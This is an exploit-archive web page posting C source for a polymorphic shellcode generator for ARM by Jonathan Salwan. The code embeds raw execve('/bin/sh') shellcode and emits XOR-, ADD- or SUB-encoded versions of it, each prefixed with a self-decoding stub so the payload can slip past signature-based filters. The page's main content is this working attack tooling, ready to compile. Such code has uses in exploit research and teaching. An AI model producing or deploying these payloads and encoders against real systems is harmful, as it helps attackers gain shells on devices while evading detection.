what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Polymorphic Shellcode Generator For ARM Architecture

Polymorphic Shellcode Generator For ARM Architecture
Posted Jul 8, 2010
Authored by Jonathan Salwan

This is a polymorphic shellcode generator for ARM architecture that produces execve("/bin/sh", ["/bin/sh"], NULL).

tags | shellcode
SHA-256 | de860077ea38ffa4a008b24122c4949fb3e19f8ebbc539c89d975eae3bc82105

Polymorphic Shellcode Generator For ARM Architecture

Change Mirror Download
/*
Title: Generator polymorphic shellcode on ARM architecture
Date: 2010-07-07
Tested on: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm

! Database of shellcodes http://www.shell-storm.org/shellcode/

Credit
======
This code generates a shellcode polymorphic execve("/bin/sh", ["/bin/sh"], NULL)
on ARM architecture.

You can encode your shellcode with XOR, ADD, SUB
*/



#include <stdio.h>
#include <stdio.h>

/* execve("/bin/sh", ["/bin/sh"], NULL); */

unsigned char your_SC[] = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x78\x46\x0a\x30"
"\x01\x90\x01\xa9"
"\x92\x1a\x0b\x27"
"\x01\xdf\x2f\x2f"
"\x62\x69\x6e\x2f"
"\x73\x68";


void syntax(void)
{
fprintf(stdout,"\nSyntax: ./encode <type> <value>\n\n");
fprintf(stdout,"Type: -xor\n");
fprintf(stdout," -add\n");
fprintf(stdout," -sub\n\n");
fprintf(stdout,"Exemple: ./encode -xor 20\n\n");
exit(1);
}

int main(int argc, char *argv[])
{
if(argc != 3){
syntax();
return 1;
}


if(!strcmp(argv[1], "-xor"))
{
fprintf(stdout,"Encode : XOR %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");

int num = (256-strlen(your_SC))+1;
int num2 = num + 1;

fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
"\\x16\\xff\\x2f\\xe1"
"\\x%.2x\\x40\\xa0\\xe3"
"\\x01\\x0c\\x54\\xe3"
"\\x1e\\xff\\x2f\\x81"
"\\x%.2x\\x40\\x44\\xe2"
"\\x04\\x50\\xde\\xe7"
"\\x%.2x\\x50\\x25\\xe2"
"\\x04\\x50\\xce\\xe7"
"\\x%.2x\\x40\\x84\\xe2"
"\\xf7\\xff\\xff\\xea"
"\\xf5\\xff\\xff\\xeb"
,num, num, atoi(argv[2]), num2);

for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]^atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}


if(!strcmp(argv[1], "-add"))
{
fprintf(stdout,"Encode : ADD %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");

int num = (256-strlen(your_SC))+1;
int num2 = num + 1;

fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
"\\x16\\xff\\x2f\\xe1"
"\\x%.2x\\x40\\xa0\\xe3"
"\\x01\\x0c\\x54\\xe3"
"\\x1e\\xff\\x2f\\x81"
"\\x%.2x\\x40\\x44\\xe2"
"\\x04\\x50\\xde\\xe7"
"\\x%.2x\\x50\\x45\\xe2"
"\\x04\\x50\\xce\\xe7"
"\\x%.2x\\x40\\x84\\xe2"
"\\xf7\\xff\\xff\\xea"
"\\xf5\\xff\\xff\\xeb"
,num, num, atoi(argv[2]), num2);

for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]+atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}

if(!strcmp(argv[1], "-sub"))
{
fprintf(stdout,"Encode : SUB %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");

int num = (256-strlen(your_SC))+1;
int num2 = num + 1;

fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
"\\x16\\xff\\x2f\\xe1"
"\\x%.2x\\x40\\xa0\\xe3"
"\\x01\\x0c\\x54\\xe3"
"\\x1e\\xff\\x2f\\x81"
"\\x%.2x\\x40\\x44\\xe2"
"\\x04\\x50\\xde\\xe7"
"\\x%.2x\\x50\\x85\\xe2"
"\\x04\\x50\\xce\\xe7"
"\\x%.2x\\x40\\x84\\xe2"
"\\xf7\\xff\\xff\\xea"
"\\xf5\\xff\\xff\\xeb"
,num, num, atoi(argv[2]), num2);

for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]-atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}

return 0;
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close